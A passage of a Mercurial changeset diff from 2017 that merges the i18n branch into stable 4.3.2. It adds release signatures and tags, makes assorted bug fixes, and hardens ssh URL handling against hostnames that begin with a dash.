merge with i18n stable 4.3.2
authorAugie Fackler <augie@google.com>
Mon, 18 Sep 2017 11:51:41 -0400
branchstable
changeset 34195 920977f72c7b
parent 34193 734983de2291 (diff)
parent 34194 a00580bc135f (current diff)
child 34196 42a7e58d6d94
merge with i18n
--- a/.hgsigs	Mon Jul 31 12:18:42 2017 -0300
+++ b/.hgsigs	Mon Sep 18 11:51:41 2017 -0400
@@ -147,3 +147,6 @@
 c850f0ed54c1d42f9aa079ad528f8127e5775217 0 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
+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
--- a/.hgtags	Mon Jul 31 12:18:42 2017 -0300
+++ b/.hgtags	Mon Sep 18 11:51:41 2017 -0400
@@ -160,3 +160,6 @@
 c850f0ed54c1d42f9aa079ad528f8127e5775217 4.2.1
 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788 4.2.2
 857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc
+5544af8622863796a0027566f6b646e10d522c4c 4.3
+943c91326b23954e6e1c6960d0239511f9530258 4.2.3
+3fee7f7d2da04226914c2258cc2884dc27384fd7 4.3.1
--- a/Makefile	Mon Jul 31 12:18:42 2017 -0300
+++ b/Makefile	Mon Sep 18 11:51:41 2017 -0400
@@ -63,7 +63,7 @@
 
 cleanbutpackages:
 	-$(PYTHON) setup.py clean --all # ignore errors from this command
-	find contrib doc hgext hgext3rd i18n mercurial tests \
+	find contrib doc hgext hgext3rd i18n mercurial tests hgdemandimport \
 		\( -name '*.py[cdo]' -o -name '*.so' \) -exec rm -f '{}' ';'
 	rm -f MANIFEST MANIFEST.in hgext/__index__.py tests/*.err
 	rm -f mercurial/__modulepolicy__.py
@@ -186,7 +186,7 @@
 	  PREFIX=/usr/local \
 	  clean install
 	mkdir -p $${OUTPUTDIR:-dist}
-	HGVER=$(shell python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py ) && \
+	HGVER=$$(python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py) && \
 	OSXVER=$$(sw_vers -productVersion | cut -d. -f1,2) && \
 	pkgbuild --filter \\.DS_Store --root build/mercurial/ \
 	  --identifier org.mercurial-scm.mercurial \
--- a/README	Mon Jul 31 12:18:42 2017 -0300
+++ b/README	Mon Sep 18 11:51:41 2017 -0400
@@ -4,14 +4,14 @@
 Mercurial is a fast, easy to use, distributed revision control tool
 for software developers.
 
-Basic install:
+Basic install::
 
  $ make            # see install targets
  $ make install    # do a system-wide install
  $ hg debuginstall # sanity-check setup
  $ hg              # see help
 
-Running without installing:
+Running without installing::
 
  $ make local      # build for inplace usage
  $ ./hg --version  # should show the latest version
--- a/contrib/chg/Makefile	Mon Jul 31 12:18:42 2017 -0300
+++ b/contrib/chg/Makefile	Mon Sep 18 11:51:41 2017 -0400
@@ -5,7 +5,7 @@
 OBJS = $(SRCS:.c=.o)
 
 CFLAGS ?= -O2 -Wall -Wextra -pedantic -g
-CPPFLAGS ?= -D_FORTIFY_SOURCE=2
+CPPFLAGS ?= -D_FORTIFY_SOURCE=2 -D_GNU_SOURCE
 override CFLAGS += -std=gnu99
 ifdef HGPATH
 override CPPFLAGS += -DHGPATH=\"$(HGPATH)\"
--- a/contrib/docker/centos5	Mon Jul 31 12:18:42 2017 -0300
+++ b/contrib/docker/centos5	Mon Sep 18 11:51:41 2017 -0400
@@ -1,4 +1,7 @@
 FROM centos:centos5
+RUN sed -i 's/^mirrorlist/#mirrorlist/' /etc/yum.repos.d/*.repo
+RUN sed -i 's/^#\(baseurl=\)http:\/\/mirror.centos.org\/centos/\1http:\/\/vault.centos.org/' /etc/yum.repos.d/*.repo
+RUN sed -i 's/\$releasever/5.11/' /etc/yum.repos.d/*.repo
 RUN yum install -y gcc make rpm-build gettext tar
 RUN yum install -y python-devel python-docutils
 # For creating repo meta data
--- a/hgext/commitextras.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/hgext/commitextras.py	Mon Sep 18 11:51:41 2017 -0400
@@ -9,6 +9,8 @@
 
 from __future__ import absolute_import
 
+import re
+
 from mercurial.i18n import _
 from mercurial import (
     commands,
@@ -52,6 +54,13 @@
                                 "KEY=VALUE format")
                         raise error.Abort(msg % raw)
                     k, v = raw.split('=', 1)
+                    if not k:
+                        msg = _("unable to parse '%s', keys can't be empty")
+                        raise error.Abort(msg % raw)
+                    if re.search('[^\w-]', k):
+                        msg = _("keys can only contain ascii letters, digits,"
+                                " '_' and '-'")
+                        raise error.Abort(msg)
                     if k in usedinternally:
                         msg = _("key '%s' is used internally, can't be set "
                                 "manually")
--- a/hgext/fsmonitor/__init__.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/hgext/fsmonitor/__init__.py	Mon Sep 18 11:51:41 2017 -0400
@@ -382,7 +382,7 @@
             visit.update(f for f in copymap
                          if f not in results and matchfn(f))
 
-    audit = pathutil.pathauditor(self._root).check
+    audit = pathutil.pathauditor(self._root, cached=True).check
     auditpass = [f for f in visit if audit(f)]
     auditpass.sort()
     auditfail = visit.difference(auditpass)
--- a/hgext/mq.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/hgext/mq.py	Mon Sep 18 11:51:41 2017 -0400
@@ -503,8 +503,11 @@
         self.guardsdirty = False
         self.activeguards = None
 
-    def diffopts(self, opts=None, patchfn=None):
-        diffopts = patchmod.diffopts(self.ui, opts)
+    def diffopts(self, opts=None, patchfn=None, plain=False):
+        """Return diff options tweaked for this mq use, possibly upgrading to
+        git format, and possibly plain and without lossy options."""
+        diffopts = patchmod.difffeatureopts(self.ui, opts,
+            git=True, whitespace=not plain, formatchanging=not plain)
         if self.gitmode == 'auto':
             diffopts.upgrade = True
         elif self.gitmode == 'keep':
@@ -1177,7 +1180,7 @@
         date = opts.get('date')
         if date:
             date = util.parsedate(date)
-        diffopts = self.diffopts({'git': opts.get('git')})
+        diffopts = self.diffopts({'git': opts.get('git')}, plain=True)
         if opts.get('checkname', True):
             self.checkpatchname(patchfn)
         inclsubs = checksubstate(repo)
@@ -1642,7 +1645,8 @@
                 substatestate = repo.dirstate['.hgsubstate']
 
             ph = patchheader(self.join(patchfn), self.plainmode)
-            diffopts = self.diffopts({'git': opts.get('git')}, patchfn)
+            diffopts = self.diffopts({'git': opts.get('git')}, patchfn,
+                                     plain=True)
             if newuser:
                 ph.setuser(newuser)
             if newdate:
--- a/hgext/rebase.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/hgext/rebase.py	Mon Sep 18 11:51:41 2017 -0400
@@ -472,7 +472,7 @@
                 commitmsg = self.collapsemsg
             else:
                 commitmsg = 'Collapsed revision'
-                for rebased in self.state:
+                for rebased in sorted(self.state):
                     if rebased not in self.skipped and\
                        self.state[rebased] > nullmerge:
                         commitmsg += '\n* %s' % repo[rebased].description()
--- a/i18n/hggettext	Mon Jul 31 12:18:42 2017 -0300
+++ b/i18n/hggettext	Mon Sep 18 11:51:41 2017 -0400
@@ -112,14 +112,20 @@
 
     for func, rstrip in functions:
         if func.__doc__:
+            funcmod = inspect.getmodule(func)
+            extra = ''
+            if funcmod.__package__ == funcmod.__name__:
+                extra = '/__init__'
+            actualpath = '%s%s.py' % (funcmod.__name__.replace('.', '/'), extra)
+
             src = inspect.getsource(func)
-            name = "%s.%s" % (path, func.__name__)
+            name = "%s.%s" % (actualpath, func.__name__)
             lineno = inspect.getsourcelines(func)[1]
             doc = func.__doc__
             if rstrip:
                 doc = doc.rstrip()
             lineno += offset(src, doc, name, 1)
-            print(poentry(path, lineno, doc))
+            print(poentry(actualpath, lineno, doc))
 
 
 def rawtext(path):
--- a/mercurial/branchmap.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/branchmap.py	Mon Sep 18 11:51:41 2017 -0400
@@ -406,7 +406,8 @@
 
         # fast path: extract data from cache, use it if node is matching
         reponode = changelog.node(rev)[:_rbcnodelen]
-        cachenode, branchidx = unpack_from(_rbcrecfmt, self._rbcrevs, rbcrevidx)
+        cachenode, branchidx = unpack_from(
+            _rbcrecfmt, util.buffer(self._rbcrevs), rbcrevidx)
         close = bool(branchidx & _rbccloseflag)
         if close:
             branchidx &= _rbcbranchidxmask
--- a/mercurial/changegroup.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/changegroup.py	Mon Sep 18 11:51:41 2017 -0400
@@ -872,6 +872,11 @@
         versions.discard('02')
     return versions
 
+def localversion(repo):
+    # Finds the best version to use for bundles that are meant to be used
+    # locally, such as those from strip and shelve, and temporary bundles.
+    return max(supportedoutgoingversions(repo))
+
 def safeversion(repo):
     # Finds the smallest version that it's safe to assume clients of the repo
     # will support. For example, all hg versions that support generaldelta also
--- a/mercurial/cmdutil.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/cmdutil.py	Mon Sep 18 11:51:41 2017 -0400
@@ -26,6 +26,7 @@
     changelog,
     copies,
     crecord as crecordmod,
+    dirstateguard,
     encoding,
     error,
     formatter,
@@ -2888,14 +2889,23 @@
     message = logmessage(ui, opts)
     matcher = scmutil.match(repo[None], pats, opts)
 
+    dsguard = None
     # extract addremove carefully -- this function can be called from a command
     # that doesn't support addremove
-    if opts.get('addremove'):
-        if scmutil.addremove(repo, matcher, "", opts) != 0:
-            raise error.Abort(
-                _("failed to mark all new/missing files as added/removed"))
-
-    return commitfunc(ui, repo, message, matcher, opts)
+    try:
+        if opts.get('addremove'):
+            dsguard = dirstateguard.dirstateguard(repo, 'commit')
+            if scmutil.addremove(repo, matcher, "", opts) != 0:
+                raise error.Abort(
+                    _("failed to mark all new/missing files as added/removed"))
+
+        r = commitfunc(ui, repo, message, matcher, opts)
+        if dsguard:
+            dsguard.close()
+        return r
+    finally:
+        if dsguard:
+            dsguard.release()
 
 def samefile(f, ctx1, ctx2):
     if f in ctx1.manifest():
@@ -3528,7 +3538,7 @@
             pass
         repo.dirstate.remove(f)
 
-    audit_path = pathutil.pathauditor(repo.root)
+    audit_path = pathutil.pathauditor(repo.root, cached=True)
     for f in actions['forget'][0]:
         if interactive:
             choice = repo.ui.promptchoice(
--- a/mercurial/commands.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/commands.py	Mon Sep 18 11:51:41 2017 -0400
@@ -3335,7 +3335,9 @@
     revisions.
 
     See :hg:`help templates` for more about pre-packaged styles and
-    specifying custom templates.
+    specifying custom templates. The default template used by the log
+    command can be customized via the ``ui.logtemplate`` configuration
+    setting.
 
     Returns 0 on success.
 
--- a/mercurial/debugcommands.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/debugcommands.py	Mon Sep 18 11:51:41 2017 -0400
@@ -2078,10 +2078,10 @@
                             'Windows'))
 
     if not source:
+        if not repo:
+            raise error.Abort(_("there is no Mercurial repository here, and no "
+                                "server specified"))
         source = "default"
-    elif not repo:
-        raise error.Abort(_("there is no Mercurial repository here, and no "
-                            "server specified"))
 
     source, branches = hg.parseurl(ui.expandpath(source))
     url = util.url(source)
--- a/mercurial/dirstate.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/dirstate.py	Mon Sep 18 11:51:41 2017 -0400
@@ -1153,7 +1153,7 @@
                 # that wasn't ignored, and everything that matched was stat'ed
                 # and is already in results.
                 # The rest must thus be ignored or under a symlink.
-                audit_path = pathutil.pathauditor(self._root)
+                audit_path = pathutil.pathauditor(self._root, cached=True)
 
                 for nf in iter(visit):
                     # If a stat for the same file was already added with a
--- a/mercurial/dispatch.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/dispatch.py	Mon Sep 18 11:51:41 2017 -0400
@@ -828,6 +828,7 @@
             color.setup(ui_)
 
         if util.parsebool(options['pager']):
+            # ui.pager() expects 'internal-always-' prefix in this case
             ui.pager('internal-always-' + cmd)
         elif options['pager'] != 'auto':
             ui.disablepager()
--- a/mercurial/hgweb/hgwebdir_mod.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/hgweb/hgwebdir_mod.py	Mon Sep 18 11:51:41 2017 -0400
@@ -173,7 +173,8 @@
         encoding.encoding = self.ui.config('web', 'encoding',
                                            encoding.encoding)
         self.style = self.ui.config('web', 'style', 'paper')
-        self.templatepath = self.ui.config('web', 'templates', None)
+        self.templatepath = self.ui.config('web', 'templates', None,
+                                           untrusted=False)
         self.stripecount = self.ui.config('web', 'stripes', 1)
         if self.stripecount:
             self.stripecount = int(self.stripecount)
--- a/mercurial/localrepo.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/localrepo.py	Mon Sep 18 11:51:41 2017 -0400
@@ -339,11 +339,11 @@
         # only used when writing this comment: basectx.match
         self.auditor = pathutil.pathauditor(self.root, self._checknested)
         self.nofsauditor = pathutil.pathauditor(self.root, self._checknested,
-                                                realfs=False)
+                                                realfs=False, cached=True)
         self.baseui = baseui
         self.ui = baseui.copy()
         self.ui.copy = baseui.copy # prevent copying repo configuration
-        self.vfs = vfsmod.vfs(self.path)
+        self.vfs = vfsmod.vfs(self.path, cacheaudited=True)
         if (self.ui.configbool('devel', 'all-warnings') or
             self.ui.configbool('devel', 'check-locks')):
             self.vfs.audit = self._getvfsward(self.vfs.audit)
@@ -426,12 +426,13 @@
                                     '"sparse" extensions to access'))
 
         self.store = store.store(
-                self.requirements, self.sharedpath, vfsmod.vfs)
+            self.requirements, self.sharedpath,
+            lambda base: vfsmod.vfs(base, cacheaudited=True))
         self.spath = self.store.path
         self.svfs = self.store.vfs
         self.sjoin = self.store.join
         self.vfs.createmode = self.store.createmode
-        self.cachevfs = vfsmod.vfs(cachepath)
+        self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True)
         self.cachevfs.createmode = self.store.createmode
         if (self.ui.configbool('devel', 'all-warnings') or
             self.ui.configbool('devel', 'check-locks')):
--- a/mercurial/patch.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/patch.py	Mon Sep 18 11:51:41 2017 -0400
@@ -972,7 +972,7 @@
         that, swap fromline/toline and +/- signs while keep other things
         unchanged.
         """
-        m = {'+': '-', '-': '+'}
+        m = {'+': '-', '-': '+', '\\': '\\'}
         hunk = ['%s%s' % (m[l[0]], l[1:]) for l in self.hunk]
         return recordhunk(self.header, self.toline, self.fromline, self.proc,
                           self.before, hunk, self.after)
--- a/mercurial/pathutil.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/pathutil.py	Mon Sep 18 11:51:41 2017 -0400
@@ -33,13 +33,18 @@
     The file system checks are only done when 'realfs' is set to True (the
     default). They should be disable then we are auditing path for operation on
     stored history.
+
+    If 'cached' is set to True, audited paths and sub-directories are cached.
+    Be careful to not keep the cache of unmanaged directories for long because
+    audited paths may be replaced with symlinks.
     '''
 
-    def __init__(self, root, callback=None, realfs=True):
+    def __init__(self, root, callback=None, realfs=True, cached=False):
         self.audited = set()
         self.auditeddir = set()
         self.root = root
         self._realfs = realfs
+        self._cached = cached
         self.callback = callback
         if os.path.lexists(root) and not util.fscasesensitive(root):
             self.normcase = util.normcase
@@ -96,10 +101,11 @@
                 self._checkfs(prefix, path)
             prefixes.append(normprefix)
 
-        self.audited.add(normpath)
-        # only add prefixes to the cache after checking everything: we don't
-        # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
-        self.auditeddir.update(prefixes)
+        if self._cached:
+            self.audited.add(normpath)
+            # only add prefixes to the cache after checking everything: we don't
+            # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
+            self.auditeddir.update(prefixes)
 
     def _checkfs(self, prefix, path):
         """raise exception if a file system backed check fails"""
--- a/mercurial/posix.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/posix.py	Mon Sep 18 11:51:41 2017 -0400
@@ -23,6 +23,7 @@
 from .i18n import _
 from . import (
     encoding,
+    error,
     pycompat,
 )
 
@@ -91,7 +92,13 @@
 def sshargs(sshcmd, host, user, port):
     '''Build argument list for ssh'''
     args = user and ("%s@%s" % (user, host)) or host
-    return port and ("%s -p %s" % (args, port)) or args
+    if '-' in args[:1]:
+        raise error.Abort(
+            _('illegal ssh hostname or username starting with -: %s') % args)
+    args = shellquote(args)
+    if port:
+        args = '-p %s %s' % (shellquote(port), args)
+    return args
 
 def isexec(f):
     """check whether a file is executable"""
--- a/mercurial/pycompat.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/pycompat.py	Mon Sep 18 11:51:41 2017 -0400
@@ -16,6 +16,7 @@
 import sys
 
 ispy3 = (sys.version_info[0] >= 3)
+ispypy = (r'__pypy__' in sys.builtin_module_names)
 
 if not ispy3:
     import cookielib
--- a/mercurial/repair.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/repair.py	Mon Sep 18 11:51:41 2017 -0400
@@ -38,7 +38,7 @@
     totalhash = hashlib.sha1(''.join(allhashes)).hexdigest()
     name = "%s/%s-%s-%s.hg" % (backupdir, short(node), totalhash[:8], suffix)
 
-    cgversion = changegroup.safeversion(repo)
+    cgversion = changegroup.localversion(repo)
     comp = None
     if cgversion != '01':
         bundletype = "HG20"
--- a/mercurial/scmutil.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/scmutil.py	Mon Sep 18 11:51:41 2017 -0400
@@ -738,7 +738,7 @@
     This is different from dirstate.status because it doesn't care about
     whether files are modified or clean.'''
     added, unknown, deleted, removed, forgotten = [], [], [], [], []
-    audit_path = pathutil.pathauditor(repo.root)
+    audit_path = pathutil.pathauditor(repo.root, cached=True)
 
     ctx = repo[None]
     dirstate = repo.dirstate
--- a/mercurial/sshpeer.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/sshpeer.py	Mon Sep 18 11:51:41 2017 -0400
@@ -139,6 +139,8 @@
         if u.scheme != 'ssh' or not u.host or u.path is None:
             self._abort(error.RepoError(_("couldn't parse location %s") % path))
 
+        util.checksafessh(path)
+
         self.user = u.user
         if u.passwd is not None:
             self._abort(error.RepoError(_("password in URL not supported")))
@@ -149,10 +151,7 @@
         sshcmd = self.ui.config("ui", "ssh")
         remotecmd = self.ui.config("ui", "remotecmd")
 
-        args = util.sshargs(sshcmd,
-                            _serverquote(self.host),
-                            _serverquote(self.user),
-                            _serverquote(self.port))
+        args = util.sshargs(sshcmd, self.host, self.user, self.port)
 
         if create:
             cmd = '%s %s %s' % (sshcmd, args,
@@ -191,23 +190,33 @@
         self.pipei = doublepipe(self.ui, self.pipei, self.pipee)
         self.pipeo = doublepipe(self.ui, self.pipeo, self.pipee)
 
-        # skip any noise generated by remote shell
-        self._callstream("hello")
-        r = self._callstream("between", pairs=("%s-%s" % ("0"*40, "0"*40)))
+        def badresponse():
+            self._abort(error.RepoError(_('no suitable response from '
+                                          'remote hg')))
+
+        try:
+            # skip any noise generated by remote shell
+            self._callstream("hello")
+            r = self._callstream("between", pairs=("%s-%s" % ("0"*40, "0"*40)))
+        except IOError:
+            badresponse()
+
         lines = ["", "dummy"]
         max_noise = 500
         while lines[-1] and max_noise:
-            l = r.readline()
-            self.readerr()
-            if lines[-1] == "1\n" and l == "\n":
-                break
-            if l:
-                self.ui.debug("remote: ", l)
-            lines.append(l)
-            max_noise -= 1
+            try:
+                l = r.readline()
+                self.readerr()
+                if lines[-1] == "1\n" and l == "\n":
+                    break
+                if l:
+                    self.ui.debug("remote: ", l)
+                lines.append(l)
+                max_noise -= 1
+            except IOError:
+                badresponse()
         else:
-            self._abort(error.RepoError(_('no suitable response from '
-                                          'remote hg')))
+            badresponse()
 
         self._caps = set()
         for l in reversed(lines):
--- a/mercurial/statichttprepo.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/statichttprepo.py	Mon Sep 18 11:51:41 2017 -0400
@@ -182,6 +182,10 @@
     def peer(self):
         return statichttppeer(self)
 
+    def wlock(self, wait=True):
+        raise error.LockUnavailable(0, _('lock not available'), 'lock',
+                                    _('cannot lock static-http repository'))
+
     def lock(self, wait=True):
         raise error.Abort(_('cannot lock static-http repository'))
 
--- a/mercurial/subrepo.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/subrepo.py	Mon Sep 18 11:51:41 2017 -0400
@@ -1281,6 +1281,10 @@
         # The revision must be specified at the end of the URL to properly
         # update to a directory which has since been deleted and recreated.
         args.append('%s@%s' % (state[0], state[1]))
+
+        # SEC: check that the ssh url is safe
+        util.checksafessh(state[0])
+
         status, err = self._svncommand(args, failok=True)
         _sanitize(self.ui, self.wvfs, '.svn')
         if not re.search('Checked out revision [0-9]+.', status):
@@ -1546,6 +1550,9 @@
 
     def _fetch(self, source, revision):
         if self._gitmissing():
+            # SEC: check for safe ssh url
+            util.checksafessh(source)
+
             source = self._abssource(source)
             self.ui.status(_('cloning subrepo %s from %s\n') %
                             (self._relpath, source))
--- a/mercurial/templatekw.py	Mon Jul 31 12:18:42 2017 -0300
+++ b/mercurial/templatekw.py	Mon Sep 18 11:51:41 2017 -0400
@@ -208,10 +208,22 @@
             latesttags[rev] = ctx.date()[0], 0, [t for t in sorted(tags)]
             continue
         try:
-            # The tuples are laid out so the right one can be found by
-            # comparison.
-            pdate, pdist, ptag = max(
-                latesttags[p.rev()] for p in ctx.parents())
+            ptags = [latesttags[p.rev()] for p in ctx.parents()]
+            if len(ptags) > 1:
+                if ptags[0][2] == ptags[1][2]:
+                    # The tuples are laid out so the right one can be found by
+                    # comparison in this case.
